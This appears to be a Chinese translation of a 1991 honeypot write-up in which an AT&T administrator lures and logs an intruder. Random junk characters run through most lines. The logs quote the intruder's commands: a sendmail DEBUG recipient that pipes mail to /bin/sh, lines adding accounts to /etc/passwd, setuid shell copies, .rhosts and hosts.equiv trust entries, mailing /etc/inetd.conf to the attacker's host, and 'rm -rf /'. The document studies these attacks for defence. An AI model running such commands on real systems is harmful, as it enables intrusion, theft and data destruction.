在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
: ]' L, W) Q; \0 o& }! o U2 |0 `在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录
. g$ P5 _' c: J% G7 a& U' ]# }我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
$ ^* m$ C1 B$ o" D简介
: H# @) l' b: C% r我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
" p* M1 F" W; K/ z" K事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。6 J% G3 \ G1 S
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?1 `. u9 ^1 A& q4 ?
我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:3 h1 m6 T' x0 J: u; P4 n( |
FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”) \0 U* [8 U7 s
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。
) t% {; e& @! k; {2 s1 N5 iGuest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:
& [+ Z4 b2 l, p' ^$ k* Vexec 2>/dev/null # ensure that stderr doesn't appear
' E0 M9 g; {$ X/ T5 c! i5 M$ ctrap "" 1+ B" _- S4 M( T; g. I+ |0 H
/bin/echo
8 J l3 W# {$ w0 Z3 @( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
4 q$ e X* d* B; [% P ^" b: Supasname=adm /bin/mail ches dangelo &
" C0 C0 B, L: J% ~" q# (notify calling machine's administrator for some machines...)' O& j( F$ \! X! M! u; `
# (finger the calling machine...)* z8 ~# l; s$ J; Y: B2 x
) 2>&1 | mail ches dangelo
3 y5 E" h. X* E% W/bin/echo "/tmp full"2 i y; L. v5 J
sleep 5 # I love to make them wait....
# Q3 O1 i) ~' e6 W a6 w% f/bin/echo "/tmp full"
8 t4 X t5 G- Y, j+ @8 x, ]3 B/bin/echo "/tmp full"
4 h4 V2 n$ F7 C; [! C' a/bin/echo
5 L/ N9 q( E7 C6 a6 t* ^2 C, wsleep 60 # ... and simulating a busy machine is useful
c$ Y5 ?. ]" O _7 F# c* Q0 _我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。
: N! }- R) c6 C6 `3 XSMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
$ v1 \$ |$ Y2 y0 \% gFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。! u$ \ V. g _) Z9 u$ `% ]
Rlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。
" G$ [* i' t; R# Y* |6 w Y# [$ a上述很多探测器都使用figner命令来查明调用的机器和使用者。4 Z* m( P( l: Z7 {0 |9 |7 k& a
当一个尝试显示为有不合法企图时,我就发出这样一条消息:3 k& m2 i- B: Q8 |% X9 N
inetfans postmaster@sdsu.edu; ^" \4 d' q* v" J& O! C" l5 [& I+ h
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
5 I" k5 V" R% R! Y. ]$ T5 @3 Dfrom our FTP directory. The file is not important, but these probes; [2 D/ |" v" j$ } P8 Y6 H" y# L
are sometimes performed from stolen accounts.
, J' O! _1 I" kJust thought you'd like to know.
4 f" W# }3 X8 CBill Cheswick8 i6 Z5 w: }- d7 P. x6 k
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
3 v: R, {2 C, I( ^很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。9 [& M, q( |4 d
不友好的行动
% W) C" w' @4 i3 J1 B我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
3 o( `: n. ~# O) O当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
9 [* ^9 g: X, i- P& T, ~19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
3 \4 B5 g1 F+ k19:43:14 smtpd[27466]: -------> debug
5 {8 U2 ~! e- y" f q J" Y" g& i19:43:14 smtpd[27466]: DEBUG attempt
/ g6 q. h. Q) `; Z" `19:43:14 smtpd[27466]: <--- 200 OK
' Y: t" r0 e% R# H" n19:43:25 smtpd[27466]: -------> mail from: l& D5 ^; B) X/ B5 O
19:43:25 smtpd[27466]: <--- 503 Expecting HELO
# f* b5 g, r# C5 F4 F19:43:34 smtpd[27466]: -------> helo1 C. f4 `% [. E1 I
19:43:34 smtpd[27466]: HELO from/ h* W Y0 y* q4 V4 B4 M9 n2 i
19:43:34 smtpd[27466]: <--- 250 inet.att.com
0 H4 m! n+ a' y. q* Z19:43:42 smtpd[27466]: -------> mail from:
3 l9 E" T: ^5 k$ I1 g19:43:42 smtpd[27466]: <--- 250 OK
/ \. ^: n! D+ T& E9 p6 s D19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
0 C4 @; B% m' N, Q& [19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
3 ^& s1 a( Q w9 t6 O. P19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"5 ?8 v/ [: D9 X( _
19:44:45 smtpd[27466]: <--- 250 OK
4 z9 {& @& Y# d& R C, X8 I3 l; S19:44:48 smtpd[27466]: -------> data2 O4 R6 o1 z9 ?- M* s, P8 Y. w I
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .% x1 N1 R) k( G; q' A
19:45:04 smtpd[27466]: <--- 250 OK
& L: k) K) G1 D: g8 F- P19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
" J1 o/ x$ V1 X0 l/ y% {19:45:08 smtpd[27466]: -------> quit' r. p* K# _: b8 L9 ]; Y& n% M
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating* M1 m _, ]6 H4 \9 w
19:45:08 smtpd[27466]: finished.
/ z% ]" k3 M2 l7 s- [" f这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:
G+ q, b- ]3 t' e! V9 l3 ?% v& F8 Xsed -e '1,/?$/'d | /bin/sh ; exit 0"
- @: b' x5 o* ` [% x/ V它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
) i d& i9 k# R3 i- ]" T' W19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。8 X& h" k7 h9 p' l
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。
8 ]- a. o3 ]3 l! Q+ H接着的一个星期天我接到了从法国发来的一封信:
) ^: O) |( K) O# Z" p: yTo: root@research.att.com
0 N: E% Z# d4 E; X6 ASubject: intruder
0 p0 _: T8 w( @1 Q( R4 c0 x2 Y; UDate: Sun, 20 Jan 91 15:02:53 +01001 z4 ?: o1 X: G
I have just closed an account on my machine
& @+ A1 d/ Q& F8 R/ Owhich has been broken by an intruder coming from embezzle.stanford.edu. He
$ U$ O, Y( S2 G9 h(she) has left a file called passwd. The contents are:- `$ _% o# j% K+ H: E+ e) `
------------>
* \* G9 h5 M! Q) m1 xFrom root@research.att.com Tue Jan 15 18:49:13 1991
. Q9 W# F7 k B4 h' B; g: IReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);* P, O2 N8 d2 o1 U0 S8 D; ~$ f
Tue, 15 Jan 91 18:49:12 -0800. S, i& ?5 T% R# ?+ {) E+ J+ b% }
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>! r2 Y) F7 W* X% v- @4 O( D
From: root@research.att.com
: @2 O% p8 X; x0 R, Q: yDate: Tue, 15 Jan 91 21:48 EST8 N* O5 D! N& c+ o# J$ R3 x* t3 u
To: adrian@embezzle.stanford.edu; @& ?! |4 c3 ?
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:( k2 ], C6 u- l/ s1 G+ ~
Daemon: *:1:1:0000-Admin(0000):/:
7 Z7 F. d2 m1 A. W- j L6 sBin: *:2:2:0000-Admin(0000):/bin:
# {7 a5 {5 d! h/ Q7 a. J2 }( D* dSys: *:3:3:0000-Admin(0000):/usr/v9/src:
: _. F U I1 S D% G1 ^Adm: *:4:4:0000-Admin(0000):/usr/adm:! f: P* w! Z# ?1 v& `
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:* u5 l! u2 O7 |! C
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
* _' a. L' V4 S( F: MFtp: anonymous:71:14:file transfer:/:no soap
: \/ {) b6 n i1 m& ] {6 {" sChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh" ?! c( \5 E( U; ^5 m
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh& r# E# b$ ?- U+ a5 h
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh- R8 y1 ~, W# V5 u( Y
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
; ~! a! F8 Z, Y2 b4 g$ m3 a1 \Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh5 y. v% A* h8 ~! r I
Status: R
' A* u. W5 n' s% J/ C5 R. _------------Please let me know if you heard of him.
# H6 { x+ _5 x5 E陪伴Berferd的一个夜晚
2 ^5 d" _3 Y- d& l8 J1月20号,星期天晚上,我的终端报告有安全敏感事件。
! }. h6 T1 e. g( z7 o9 L9 A. d9 J22:33 finger attempt on berferd. A6 T9 p: l- y
几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!
) F3 a% J. e! o t2 \22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
5 N$ b* M& C+ k2 Zcp /bin/sh /tmp/shell8 ?5 D1 r2 t" J8 F1 M2 A+ \
chmod 4755 /tmp/shell* G' E% u2 [9 Z
连接同样来自EMBEZZLE.STANFORD.EDU。9 _5 {. L& a5 g4 n4 a: w# V
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。/ x2 j$ T+ V n& ?% [
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。' ]6 s$ N# a" U/ q+ x
我已经有一个要求了,因为他已经持有了一份passwd。
: E4 c! v( |) N决定一:ftp的passwd是一个真实的passwd。. I! C8 l4 f* j" O' I
还有另外的两个:; ^0 V7 E5 d7 [4 _6 k
决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
6 d6 z9 S2 }- X0 H" G' u决定三:网关机器极慢。
$ n& @* e% Z0 [- s- g s0 ]因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
7 ^* L' P: K' i; [. y决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。 O1 y8 N9 j$ G5 k- S* z$ ]
这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:; x8 L9 a* m7 C" m0 ]9 `: \
RISC/os (inet) z8 v( O+ Y0 m |' |
login: b
/ J) l- U: ~% f% q) p- D7 m& cRISC/os (UMIPS) 4.0 inet
$ w/ r! j8 w" @% [5 V) YCopyright 1986, MIPS Computer Systems
+ R! G" P' B: D1 n2 x- p& VAll Rights Reserved$ P M: c# Z& ]
Shell not found
3 V0 C( F _) t# E8 f我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:) B" d! Q1 V; O0 }( q6 ^
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd3 Z b3 V; z" k! _! j% i
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:
! i0 h( S1 v- {+ Q* D; k8 x% I$ Q22:45 talk adrian@embezzle.stand?Hford.edu
5 e6 x6 l* D( W1 m% Ztalk adrian@embezzle.stanford.edu
3 u. ~) z" z# t* k- O9 N" G0 u决定五:我们没有talk这个命令。5 k, G& r. U& @% O9 Y
他选择了berferd这个帐号:. h/ B/ \" A7 ~# f0 n) ^; c
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU* [$ L# z7 p! g1 N
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
' y, y) C8 c/ C. b6 x) a* Q22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU3 ]- E( a$ J# b2 z! x
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
# l8 J, x/ v/ |- I f3 P, ^22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
- \/ ?2 T- G% p1 L$ e8 I7 ~22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU6 A) ~- ?- S: g! X6 g! L; p5 w
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
* g+ c m3 U" C' I( F22:57 (Added bfrd to the real password file.)
6 E4 f) d$ N) W% B$ [8 ^( j22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! C* S& R7 L% i# T22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU( p5 c' ^2 e( D$ T
23:05 echo "36.92.0.205" >/dev/null
9 n6 @ A& y4 Xecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
& U" y+ b. i$ y7 z23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu! Y2 Q- E7 D- L
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts! |9 ^; v! T( |8 j$ ~6 {
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
5 x1 n S3 i! H* [7 p很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
& b Q5 |! n% D# B1 Q这时他又有新的动作:
7 }+ x( h/ P4 L. ~5 A- `23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
/ C9 T$ [) M6 S- z23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU: Q( D) N i$ J
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf: |4 k+ \* D0 @; Y# b( t, G; A' K
ps -aux|mail adrian@embezzle.stanford.edu
" s; ~4 R1 ?( @/ P1 S- V& o在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
' [2 _/ k2 b/ r% z) D决定七:网关机器运行不稳定,时有不确定事件。- O6 ^6 }* u" s: u5 v: W
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts( x9 G) M1 r4 y' C6 |1 Y- ^
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts% Y0 [$ h) {0 I# A- y4 `
ps -aux|mail adrian@embezzle.stanford.edu
- I- D; w, ]5 c. p! l0 D2 \mail adrian@embezzle.stanford.edu < /etc/inetd.conf
" }9 t7 J% h; ?) h+ i+ x4 ]我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。# T5 O, T! Y9 R T1 F
这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
& u' D1 r/ J9 ^' }9 `0 s/ B' P2 hJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
7 k/ Y) K( u8 `, x7 `0 ~(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
3 L8 l/ {( h; hJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M- P, |- y; F% a6 }$ u. W
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.4 r! K, ` K$ T* E, |
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
. V. n4 N2 B" ?# ^Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
0 i- u+ x4 H- V2 N3 B& mJan 20 23:37:13 inet ftpd[14437]: -------> pass?M
4 j ]$ D8 s& F$ {# w2 pJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.0 y5 a1 t1 k7 w! N2 M
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
3 @1 ^: z8 N( y* tJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are O; I+ {$ ] D( O5 g' B: F/ X3 t4 j
recognized (* =>'s unimplemented).
3 l8 e9 j9 f$ IJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.5 y3 g& j" u, J+ R# p; W
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
6 k" R, B. x% w6 f% JJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
. h- ]% e X; y+ FJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
3 Y% `- p, C; i4 @! S; i+ Q% k6 CJan 20 23:37:31 inet inetd[116]: exit 14437
: P* @4 K9 B$ @9 n. ?) w; t+ O# SJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454* C A! n. H# w+ R0 W
Jan 20 23:37:41 inet inetd[116]: exit 14454& Y% L9 t9 K5 N
23:38 finger attempt on berferd
$ c9 C, z: k8 o23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
1 J, ]! O8 t5 b/ x23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
$ ~! D2 |" Y6 x' w; ^4 ?, qcp /bin/sh /usr/etc/fingerd! w* l y7 Q: V1 o" l
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。 G: ] @9 M+ T8 K8 g9 @2 N/ o
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU% F6 [- \. L1 Z/ j, { t7 ^
23:58 cp /bin/csh /usr/etc/fingerd
* C& R# G" j( ^ @; i我们模拟的机器上csh并不在/bin下,因此这个命令无效。
" R7 Q3 L) }/ c1 j( i. @; c- f00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
6 `6 f& E' R/ @2 d9 O& D/ D- E: F [好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。
- f1 v- s4 Y$ F9 s00:14 passwd bfrt# @5 h/ f) P) r7 ]) Q: p
bfrt- a. h D2 E; x* I; P
bfrt
) T7 a) [$ o- i N现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。
2 b6 s$ L; l6 C' I7 o' p7 }00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% \ @7 K4 N5 v' |- i' Z00:17 echo "/bin/sh" > /tmp/Shell
9 g& n" H1 Y0 d1 N. _" n) \chmod 755 /tmp/shell
' ~8 j7 e4 R+ T# f; p1 c( Ochmod 755 /tmp/Shell
' x+ b2 Q0 Q5 m$ z0 U00:19 chmod 4755 /tmp/shell' t) h# I& }5 Q! }" Z% d' }
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU. f0 Y; O3 K% R& l4 j1 b5 | k" k
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! v2 w6 g/ A# n: @: F4 ?& \* }% J f00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU: p m% b, ^0 O: v; x, R7 Q
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
m) I* s* o( e6 @, n' V* L这时我已经很累了。" d$ [, ]" C# l$ w
01:55 rm -rf /&
) i2 G$ u' c/ E+ Z1 }: w$ f喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。6 M ^2 P0 e+ w; L+ S E
他继续工作了几分钟,后来放弃:
# k) o& K& m8 L3 V% k! t1 X1 o07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, C/ ?7 o% f# Y. q2 s4 N07:14 rm -rf /&
$ M5 n6 s- q/ |) q/ y% o! _9 N07:17 finger attempt on berferd
# ^3 G4 I" [0 r8 i07:19 /bin/rm -rf /&
2 ~0 S1 U1 X; V( `/bin/rm -rf /&1 x. a5 ^" u1 ^/ i- B
07:23 /bin/rm -rf /&2 C" d) @" ? @% E% E" U! {) y
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU- X# `: K/ T0 ?# y# I2 X$ s6 e
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU5 {! I. c( T! n; O8 I- c( w0 A
|